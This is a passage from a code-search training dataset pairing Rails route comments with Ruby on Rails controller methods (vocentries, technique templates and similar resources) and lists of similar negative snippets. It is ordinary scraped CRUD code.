format.xml { render :xml => @vocentry }
end
end | [
"def new\n @vocentry = Vocentry.new\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocentry }\n end\n end",
"def show\n @voc = Voc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voc }\n end\n end",
"def index\t\n\t\t@vocs = Voc.find(:all)\t\t \t \t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @vocs }\n\t\tend\n\tend",
"def index\n @vods = Vod.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vods }\n end\n end",
"def show\n @vdig = Vdig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vdig }\n end\n end",
"def index\n redirect_to @level\n #@vocabs = Vocab.all\n\n #respond_to do |format|\n #format.html # index.html.erb\n #format.xml { render :xml => @vocabs }\n #end\n end",
"def index\n retrieve_vtodos\n\n respond_to do |format|\n format.html # index.html.erb\n format.rdf { render :xml => ICAL::Vtodo.to_xml }\n end\n end",
"def index\n @entries = Entry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @entries = Entry.all;\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @versions = @page.versions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @versions }\n end\n end",
"def index\n @vod_files = VodFile.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vod_files }\n end\n end",
"def destroy\n @vocentry = Vocentry.find(params[:id])\n @vocentry.destroy\n\n respond_to do |format|\n format.html { redirect_to(vocentries_url) }\n format.xml { head :ok }\n end\n end",
"def get(idx=0) \n extra = \"\"\n @extra_args.each do | key, val | \n extra << \"&#{key}=#{val}\"\n end \n self.parse_response(@client.get(\"#{@uri.path}?#{@context_objects[idx].kev}#{extra}\")) \n end",
"def show\n @vocabtype = Vocabtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocabtype }\n end\n end",
"def index\n @versions = Version.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @versions }\n end\n end",
"def show\n @vle_document = VleDocument.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vle_document }\n end\n end",
"def index\n @eversions = Eversion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @eversions }\n end\n end",
"def list_relevances\n @entry = Entry.find(params[:id])\n @relevances = @entry.relevances\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @relevances }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def index\n @verses = Verse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @verses }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /vocentries/new GET /vocentries/new.xml | def new
@vocentry = Vocentry.new
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @vocentry }
end
end | [
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @version = @page.versions.new\n\n respond_to do |format|a\n format.html # new.html.erb\n format.xml { render :xml => @version }\n end\n end",
"def create\n @vocentry = Vocentry.new(params[:vocentry])\n\n respond_to do |format|\n if @vocentry.save\n format.html { redirect_to(@vocentry, :notice => 'Your new word was successfully saved.') }\n format.xml { render :xml => @vocentry, :status => :created, :location => @vocentry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vocentry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @vdig = Vdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vdig }\n end\n end",
"def new\n @voc = Voc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @voc }\n end\n end",
"def new\n @vocab = Vocab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vocab }\n end\n end",
"def new\n @vocabtype = Vocabtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vocabtype }\n end\n end",
"def new\n @ver = Ver.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ver }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def new\n @vet = Vet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vet }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @cdr_entries = CdrEntries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cdr_entries }\n end\n end",
"def new\n @otrunk_view_entry = OtrunkExample::OtrunkViewEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @otrunk_view_entry }\n end\n end",
"def new\n @newstuff = Newstuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newstuff }\n end\n end",
"def new\n @vle_document = VleDocument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vle_document }\n end\n end",
"def new\n @tv = Tv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tv }\n end\n end",
"def new\n @occurrence = Occurrence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurrence }\n end\n end",
"def new\n @revista = Revista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @revista }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /vocentries POST /vocentries.xml | def create
@vocentry = Vocentry.new(params[:vocentry])
respond_to do |format|
if @vocentry.save
format.html { redirect_to(@vocentry, :notice => 'Your new word was successfully saved.') }
format.xml { render :xml => @vocentry, :status => :created, :location => @vocentry }
else
format.html { render :action => "new" }
format.xml { render :xml => @vocentry.errors, :status => :unprocessable_entity }
end
end
end | [
"def new\n @vocentry = Vocentry.new\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocentry }\n end\n end",
"def destroy\n @vocentry = Vocentry.find(params[:id])\n @vocentry.destroy\n\n respond_to do |format|\n format.html { redirect_to(vocentries_url) }\n format.xml { head :ok }\n end\n end",
"def create\n @vdig = Vdig.new(params[:vdig])\n\n respond_to do |format|\n if @vdig.save\n flash[:notice] = 'Vdig was successfully created.'\n format.html { redirect_to(@vdig) }\n format.xml { render :xml => @vdig, :status => :created, :location => @vdig }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vdig.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vocab = Vocab.new(params[:vocab])\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to(@vocab, :notice => 'Vocab was successfully created.') }\n format.xml { render :xml => @vocab, :status => :created, :location => @vocab }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vocab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_tv_document(vault_id, api_key, schema = {})\n schemaToJsonString = schema.to_json\n schemaToBase64 = Base64.encode64(schemaToJsonString)\n tvResponse = `curl https://api.truevault.com/v1/vaults/#{vault_id}/documents \\\n -u #{api_key}: \\\n -X POST \\\n -d \"document=#{schemaToBase64}\"`\n\n # Parse and return a json hash of the TrueVault response\n tvResponseJSON = JSON.parse(tvResponse).with_indifferent_access\n end",
"def catalog(entry)\n unless has_entry? entry.identifier, entry.mtime\n vector = Vector.new\n vector.at = entry.mtime\n extract_words_for_searcher(entry.content.downcase) do |word|\n word_index = @dict.add_word(word, entry.classifications)\n if word_index\n vector.add_word_index(word_index) \n end\n end\n @document_vectors[entry.identifier] = vector\n end\n end",
"def show\n @vocentry = Vocentry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocentry }\n end\n end",
"def create\n @cdr_entries = CdrEntries.new(params[:cdr_entries])\n\n respond_to do |format|\n if @cdr_entries.save\n flash[:notice] = 'CdrEntries was successfully created.'\n format.html { redirect_to(@cdr_entries) }\n format.xml { render :xml => @cdr_entries, :status => :created, :location => @cdr_entries }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cdr_entries.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @vocentry = Vocentry.find(params[:id])\n\n respond_to do |format|\n if @vocentry.update_attributes(params[:vocentry])\n format.html { redirect_to(@vocentry, :notice => 'Vocentry was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vocentry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_vms(xmlfile)\n xml=File.read(xmlfile)\n\n url = URI.parse(@endpoint+\"/compute\")\n\n req = Net::HTTP::Post.new(url.path)\n req.body=xml\n\n req.basic_auth @occiauth[0], @occiauth[1]\n\n res = CloudClient::http_start(url) do |http|\n http.request(req)\n end\n\n if CloudClient::is_error?(res)\n return res\n else\n return res.body\n end\n end",
"def post_entity_entries(eid, entries)\n endpoint_url = URI.join(self.engine.base_url, \"entities/#{eid}/entries?v=#{self.engine.version}\")\n\n self.post(endpoint_url, entries.to_json)\n end",
"def post_vms(xmlfile)\n xml=File.read(xmlfile)\n \n url = URI.parse(@endpoint+\"/compute\")\n \n req = Net::HTTP::Post.new(url.path)\n req.body=xml\n \n req.basic_auth @occiauth[0], @occiauth[1]\n \n res = CloudClient::http_start(url) do |http|\n http.request(req)\n end\n\n if CloudClient::is_error?(res)\n return res\n else\n return res.body\n end\n end",
"def create\n @voc = Voc.new(params[:voc])\n @voc.user_id = current_user.id\n\n respond_to do |format|\n if @voc.save\n format.html { redirect_to @voc, notice: 'Voc was successfully created.' }\n format.json { render json: @voc, status: :created, location: @voc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @voc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @otrunk_view_entry = OtrunkExample::OtrunkViewEntry.new(params[:otrunk_view_entry])\n\n respond_to do |format|\n if @otrunk_view_entry.save\n flash[:notice] = 'OtrunkExample::OtrunkViewEntry was successfully created.'\n format.html { redirect_to(@otrunk_view_entry) }\n format.xml { render :xml => @otrunk_view_entry, :status => :created, :location => @otrunk_view_entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @otrunk_view_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vocabtype = Vocabtype.new(params[:vocabtype])\n\n respond_to do |format|\n if @vocabtype.save\n format.html { redirect_to(@vocabtype, :notice => 'Vocabtype was successfully created.') }\n format.xml { render :xml => @vocabtype, :status => :created, :location => @vocabtype }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vocabtype.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \n @collector_entry = CollectorEntry.new(params[:collector_entry])\n @collector_entry.values = params[:fields].to_xml\n @collector_entry.user_id = user.id\n \n respond_to do |format|\n if @collector_entry.save\n flash[:notice] = 'CollectorEntry was successfully created.'\n format.html { redirect_to collector_entries_path }\n format.xml { render :xml => @collector_entry, :status => :created, :location => @collector_entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @collector_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vocab = Vocab.new(params[:vocab])\n\n respond_to do |format|\n if @vocab.save\n format.html { redirect_to @vocab, notice: 'Vocab was successfully created.' }\n format.json { render json: @vocab, status: :created, location: @vocab }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n model = params[:model]\n #NOTE: Pay attention how the data is passed as a hash. This is how locomotive expects it. Not obvious.\n # req.set_form_data('content_entry[name]' => data['name'], 'content_entry[summary]' => data['summary'], 'model' => model)\n form_data = {}\n params[:content_entry].each do |key,val|\n form_data[\"content_entry[#{key}]\"] = val\n end\n #data = params[:content_entry]\n\n uri = URI(\"#{@cms_url}/locomotive/api/content_types/#{model}/entries.json?auth_token=#{APP_CONFIG['locomotive']['auth_token']}\")\n\n req = Net::HTTP::Post.new(uri)\n req.set_form_data(form_data)\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(req)\n end\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n render :json => res.body\n else\n # examine response code and generate appropriate error message\n render :json => res.value\n end\n\n end",
"def create\n @predicate = @vocab.predicates.build(predicate_params)\n\n respond_to do |format|\n if @predicate.save\n format.html { redirect_to vocab_path(@vocab), notice: \"Predicate was successfully created.\" }\n format.json { render :show, status: :created, location: @predicate }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @predicate.errors, status: :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PUT /vocentries/1 PUT /vocentries/1.xml | def update
@vocentry = Vocentry.find(params[:id])
respond_to do |format|
if @vocentry.update_attributes(params[:vocentry])
format.html { redirect_to(@vocentry, :notice => 'Vocentry was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @vocentry.errors, :status => :unprocessable_entity }
end
end
end | [
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def destroy\n @vocentry = Vocentry.find(params[:id])\n @vocentry.destroy\n\n respond_to do |format|\n format.html { redirect_to(vocentries_url) }\n format.xml { head :ok }\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end",
"def put_entry(id,summary)\n xml = <<DATA\n <entry xmlns=\"http://purl.org/atom/ns#\">\n <summary type=\"text/plain\"></summary>\n </entry>\nDATA\n\n doc = REXML::Document.new(xml)\n doc.elements['/entry/summary'].add_text(summary)\n\n # REXML -> String\n data=String.new\n doc.write(data)\n\n #make request\n path=\"/atom/edit/#{id}\"\n req=Net::HTTP::Put.new(path)\n req['Accept']= 'application/x.atom+xml,application/xml,text/xml,*/*',\n req['X-WSSE']= @credential_string\n\n #YHAAAA!!!\n res = @http.request(req,data)\n return res\n end",
"def create\n @vocentry = Vocentry.new(params[:vocentry])\n\n respond_to do |format|\n if @vocentry.save\n format.html { redirect_to(@vocentry, :notice => 'Your new word was successfully saved.') }\n format.xml { render :xml => @vocentry, :status => :created, :location => @vocentry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vocentry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def do_PUT(req, res)\n domain, resource, id, format = parse_request_path(req.path_info)\n attributes = from_xml(resource, req.body)\n attributes['updated-at'] = Time.now.iso8601\n logger.debug \"Updating item with attributes: #{attributes.inspect}\"\n sdb_put_item(domain, attributes, true)\n raise WEBrick::HTTPStatus::OK\n end",
"def test_put_existing\n request = Http::Request.new('PUT', '/file1', {}, 'bar')\n\n response = self.request(request)\n\n assert_equal(204, response.status)\n\n assert_equal(\n 'bar',\n @server.tree.node_for_path('file1').get\n )\n\n assert_equal(\n {\n 'X-Sabre-Version' => [Version::VERSION],\n 'Content-Length' => ['0'],\n 'ETag' => [\"\\\"#{Digest::MD5.hexdigest('bar')}\\\"\"]\n },\n response.headers\n )\n end",
"def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def put *args\n make_request :put, *args\n end",
"def show\n @vocentry = Vocentry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocentry }\n end\n end",
"def update\n @oven = Oven.find(params[:id])\n\n respond_to do |format|\n if @oven.update_attributes(params[:oven])\n flash[:notice] = 'Oven was successfully updated.'\n format.html { redirect_to(@oven) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @oven.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_update_rev_new_document\n\n doc = { '_id' => 'urev', 'type' => 'errors' }\n\n r = @s.put(doc, :update_rev => true)\n\n assert_nil r\n assert_not_nil doc['_rev']\n assert_not_nil doc['put_at']\n end",
"def update\n respond_to do |format|\n if @vocable.update(vocable_params)\n format.html { redirect_to @vocable, notice: 'Vocable was successfully updated.' }\n format.json { render :show, status: :ok, location: @vocable }\n else\n format.html { render :edit }\n format.json { render json: @vocable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def put( doc, opts = {} )\n response = http_action :put, doc, opts.merge( :doc => doc )\n doc['_id'], doc['_rev'] = response['id'], response['rev'] if doc.kind_of? Hash\n response\n end",
"def update\n @vdig = Vdig.find(params[:id])\n\n respond_to do |format|\n if @vdig.update_attributes(params[:vdig])\n flash[:notice] = 'Vdig was successfully updated.'\n format.html { redirect_to(@vdig) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vdig.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @vocabtype = Vocabtype.find(params[:id])\n\n respond_to do |format|\n if @vocabtype.update_attributes(params[:vocabtype])\n format.html { redirect_to(@vocabtype, :notice => 'Vocabtype was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vocabtype.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_update_rev_existing_document\n\n put_toto_doc; doc = get_toto_doc\n\n initial_rev = doc['_rev']\n initial_put_at = doc['put_at']\n\n r = @s.put(doc, :update_rev => true)\n\n assert_nil r\n assert_not_nil initial_rev\n assert_not_nil initial_put_at\n assert_not_nil doc['_rev']\n assert_not_equal doc['_rev'], initial_rev\n assert_not_nil doc['put_at']\n assert doc['put_at'] >= initial_put_at\n end",
"def web_dav_put(*args, &block)\n args = web_dav_args args\n map_method :put, args, &block\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /vocentries/1 DELETE /vocentries/1.xml | def destroy
@vocentry = Vocentry.find(params[:id])
@vocentry.destroy
respond_to do |format|
format.html { redirect_to(vocentries_url) }
format.xml { head :ok }
end
end | [
"def delete doc\n slug = CGI.escape(doc['_id'])\n CouchRest.delete \"#{@root}/#{slug}?rev=#{doc['_rev']}\"\n end",
"def destroy\n @vocab = Vocab.find(params[:id])\n @vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to(vocabs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vdig = Vdig.find(params[:id])\n @vdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(vdigs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @tdoc = Tdoc.find(params[:id])\n @tdoc.destroy\n\n respond_to do |format|\n format.html { redirect_to(tdocs_url) }\n format.xml { head :ok }\n end\n end",
"def delete_document(params)\n @client.delete(\"/evault\", params)\n end",
"def destroy\n @vle_document = VleDocument.find(params[:id])\n @vle_document.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_vle_documents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ecndocument = Ecndocument.find(params[:id])\n @ecndocument.destroy\n\n respond_to do |format|\n format.html { redirect_to(ecndocuments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @docdb = Docdb.find(params[:id])\n @docdb.destroy\n\n respond_to do |format|\n format.html { redirect_to(docdbs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vocab = Vocab.find(params[:id])\n @vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to vocabs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end",
"def delete_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Delete.new(uri)\n run(uri, req)\n end",
"def destroy\n @document_version = DocumentVersion.find(params[:id])\n @document_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(document_versions_url) }\n format.xml { head :ok }\n end\n end",
"def delete_doc(id)\n doc = get_doc(id)\n rev = doc[\"_rev\"] if doc[\"_rev\"]\n\n @conn.query({url_path: \"#{database}/#{id}?rev=#{rev}\", method: :delete})\n end",
"def destroy\n @documento = @externo.documentos.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url(@externo)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @equivalencia = Equivalencia.find(params[:id])\n @equivalencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(equivalencias_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vod = Vod.find(params[:id])\n @vod.destroy\n\n respond_to do |format|\n format.html { redirect_to(vods_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vocero = Vocero.find(params[:id])\n @vocero.destroy\n\n respond_to do |format|\n format.html { redirect_to voceros_url }\n format.json { head :no_content }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /technique_templates GET /technique_templates.xml | def index
@technique_templates = TechniqueTemplate.all
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @technique_templates }
end
end | [
"def show\n @technique_template = TechniqueTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @technique_template }\n end\n end",
"def template_details(guid)\n get \"/api/templates/#{guid}.xml\", {}\n end",
"def new\n @technique_template = TechniqueTemplate.new\n @technique = Technique.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @technique_template }\n end\n end",
"def show\n @technique = @plugin.techniques.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @technique }\n end\n end",
"def show\n @technique_type = TechniqueType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @technique_type }\n end\n end",
"def index\n @_templates = @site.templates.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @_templates }\n end\n end",
"def show\n @_template = @site.templates.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @_template }\n end\n end",
"def get_course_templates_schema\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/schema\"\n _get(path)\n # This action returns a JSON array of SchemaElement blocks.\nend",
"def list\n @client.make_request :get, templates_path\n end",
"def get_templates(limit = 100, offset = 0)\n params = { limit: limit, offset: offset }\n\n request :get,\n '/v3/templates.json',\n params\n end",
"def get_story_templates_support_data\n @client.raw('get', '/content/story-templates/support-data')\n end",
"def get_driver_templates\n @client.raw('get', '/content/email-templates/driver/templates')\n end",
"def index\n @day_template = DayTemplate.find(params[:day_template_id])\n @template_lessons = @day_template.template_lessons.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @template_lessons }\n end\n end",
"def index\n @portal_teachers = Portal::Teacher.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @portal_teachers }\n end\n end",
"def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end",
"def editor_templates (type, uuid)\n res = http_get(:uri=>\"/editor/#{type}/templates/#{uuid}\", :fields=>x_cookie)\n end",
"def get_templates(limit = 100, offset = 0)\n params = { :limit => limit, :offset => offset }\n\n request :get, \"/v3/templates.json\", params\n end",
"def get_all_course_templates\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/6606/descendants/?ouTypeId=2\"\n _get(path)\n # return: JSON array of course template data objects\nend",
"def project_templates(project, type)\n get(\"/projects/#{url_encode project}/templates/#{type}\")\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /technique_templates/1 GET /technique_templates/1.xml | def show
@technique_template = TechniqueTemplate.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @technique_template }
end
end | [
"def index\n @technique_templates = TechniqueTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @technique_templates }\n end\n end",
"def new\n @technique_template = TechniqueTemplate.new\n @technique = Technique.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @technique_template }\n end\n end",
"def template_details(guid)\n get \"/api/templates/#{guid}.xml\", {}\n end",
"def show\n @technique_type = TechniqueType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @technique_type }\n end\n end",
"def show\n @technique = @plugin.techniques.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @technique }\n end\n end",
"def show\n @_template = @site.templates.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @_template }\n end\n end",
"def index\n @_templates = @site.templates.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @_templates }\n end\n end",
"def index\n @program_templates = ProgramTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @program_templates }\n end\n end",
"def index\n @day_template = DayTemplate.find(params[:day_template_id])\n @template_lessons = @day_template.template_lessons.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @template_lessons }\n end\n end",
"def show\n @study_template = StudyTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @study_template }\n end\n end",
"def index\n @goaltemplates = Goaltemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @goaltemplates }\n end\n end",
"def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @vip_programmer_training }\n end\n end",
"def index\n @prerequisite_templates = PrerequisiteTemplate.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @prerequisite_templates }\n end\n end",
"def get_report_template(args = {}) \n get(\"/reports.json/template/#{args[:templateId]}\", args)\nend",
"def index\n @school_class = SchoolClass.find(params[:school_class_id])\n @day_templates = @school_class.day_templates.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @day_templates }\n end\n end",
"def show\n @goaltemplate = Goaltemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @goaltemplate }\n end\n end",
"def show\n @program_template = ProgramTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @program_template }\n end\n end",
"def show\n @day_template = DayTemplate.find(params[:day_template_id])\n @template_lesson = @day_template.template_lessons.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @template_lesson }\n end\n end",
"def index\n @correspondence_templates = CorrespondenceTemplate.find(:all, :conditions => { :department_id => current_user.department_id })\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @correspondence_templates }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /technique_templates/new GET /technique_templates/new.xml | def new
@technique_template = TechniqueTemplate.new
@technique = Technique.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @technique_template }
end
end | [
"def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end",
"def new\n @tmplt = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tmplt }\n end\n end",
"def new\n @study_template = StudyTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @study_template }\n end\n end",
"def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template }\n end\n end",
"def new\n @quest_template = QuestTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quest_template }\n end\n end",
"def new\n @plant_template = PlantTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plant_template }\n end\n end",
"def new\n @template_text = TemplateText.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template_text }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @toolkit_resource_type }\n end\n end",
"def new\n @goaltemplate = Goaltemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goaltemplate }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @vip_programmer_training }\n end\n end",
"def new\n @template_tag = TemplateTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template_tag }\n end\n end",
